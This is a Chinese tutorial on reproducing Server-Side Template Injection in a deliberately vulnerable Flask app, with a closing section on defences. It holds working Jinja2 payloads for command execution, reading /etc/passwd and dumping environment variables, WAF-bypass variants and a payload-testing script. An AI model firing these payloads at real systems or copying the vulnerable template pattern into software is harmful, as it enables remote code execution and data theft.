从靶场到实战:手把手教你用Python Flask复现SSTI漏洞(附完整Payload库)
·
从靶场到实战:Python Flask SSTI漏洞复现与Payload武器库构建
在网络安全领域,理论知识如果不能转化为实际操作能力,就如同纸上谈兵。SSTI(服务器端模板注入)作为Web安全中的重要漏洞类型,其危害性不亚于SQL注入,但很多安全爱好者往往停留在概念理解层面,缺乏实战经验。本文将带你从零开始,搭建一个存在SSTI漏洞的Flask应用,并通过系统化的Payload测试,构建可复用的漏洞利用武器库。
1. 漏洞环境搭建
1.1 Flask应用基础配置
首先创建一个基本的Flask应用,使用Jinja2模板引擎:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'Guest')
template = f'''
<html>
<head><title>SSTI测试页面</title></head>
<body>
<h1>Hello, {name}!</h1>
</body>
</html>
'''
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
这段代码存在典型的SSTI漏洞,因为用户输入的 name 参数直接拼接到了模板字符串中,未经任何过滤处理。
1.2 漏洞验证方法
启动应用后,访问以下URL测试漏洞是否存在:
http://localhost:5000/?name={{7*7}}
如果页面显示"Hello, 49!"而非"Hello, {{7*7}}!",则确认存在SSTI漏洞。
2. 基础Payload利用
2.1 Python对象链探索
利用Python的对象继承关系,我们可以逐步获取敏感功能:
# 获取字符串对象的类
{{ ''.__class__ }}
# 获取基类(object)
{{ ''.__class__.__base__ }}
# 获取所有子类
{{ ''.__class__.__base__.__subclasses__() }}
2.2 常用危险操作Payload
| 操作类型 | Payload示例 |
|---|---|
| 文件读取 | {{ ''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('cat /etc/passwd').read() }} |
| 命令执行 | {{ config.__class__.__init__.__globals__['os'].system('id') }} |
| 环境变量查看 | {{ url_for.__globals__['os'].environ }} |
| 模块导入 | {{ ''.__class__.__base__.__subclasses__()[X]['load_module']('os') }} |
注意:X需要根据实际环境替换为正确的子类索引号,通常在100-200之间
3. WAF绕过技术实战
3.1 符号过滤绕过
当特殊字符被过滤时,可采用以下技术:
-
Unicode编码 :
{{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f") }} -
字符串拼接 :
{{ ()['__cla'+'ss__']['__ba'+'se__'] }} -
过滤器绕过 :
{% set a="__ssalc__"|reverse %}{{ ()[a] }}
3.2 关键字过滤解决方案
当关键方法名被过滤时:
-
使用request对象传递参数 :
{{ ()|attr(request.args.cls)|attr(request.args.base) }}访问URL时附加参数:
?cls=__class__&base=__base__ -
利用内置函数构造字符 :
{% set chr=url_for.__globals__.__builtins__.chr %} {{ ""[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)] }}
4. Payload武器库构建
4.1 Payload分类整理
建议按以下结构组织你的Payload库:
SSTI_Payloads/
├── Basic_Detection/ # 基础检测Payload
├── Command_Execution/ # 命令执行类
├── File_Operations/ # 文件操作类
├── WAF_Bypass/ # WAF绕过技术
│ ├── Encoding/ # 编码绕过
│ ├── String_Concatenation/ # 字符串拼接
│ └── Filter_Bypass/ # 过滤器绕过
└── Template_Specific/ # 针对特定模板引擎
4.2 Payload自动化测试脚本
编写Python脚本自动测试Payload有效性:
import requests
payloads = [
("Basic Detection", "{{7*7}}", "49"),
("Command Execution", "{{ ''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('id').read() }}", "uid="),
# 添加更多测试用例
]
def test_payloads(url):
results = []
for name, payload, expected in payloads:
try:
r = requests.get(f"{url}?name={payload}")
if expected in r.text:
results.append((name, "SUCCESS"))
else:
results.append((name, "FAILED"))
except:
results.append((name, "ERROR"))
return results
5. 防御措施与安全建议
5.1 安全编码实践
-
永远不要信任用户输入 :
# 不安全 template = f"Hello, {user_input}!" # 安全 template = "Hello, {{ name }}!" render_template_string(template, name=user_input) -
使用模板引擎的安全模式 :
from jinja2 import Environment env = Environment(autoescape=True)
5.2 监控与防护
- 部署WAF规则检测常见SSTI模式
- 监控日志中的异常模板渲染行为
- 定期进行安全审计和渗透测试
在实际渗透测试中,我发现最有效的Payload往往是最简单的那些。复杂的绕过技术虽然精妙,但在真实环境中,基础Payload的成功率反而更高。建议从简单Payload开始测试,逐步尝试更复杂的绕过技术。
更多推荐
所有评论(0)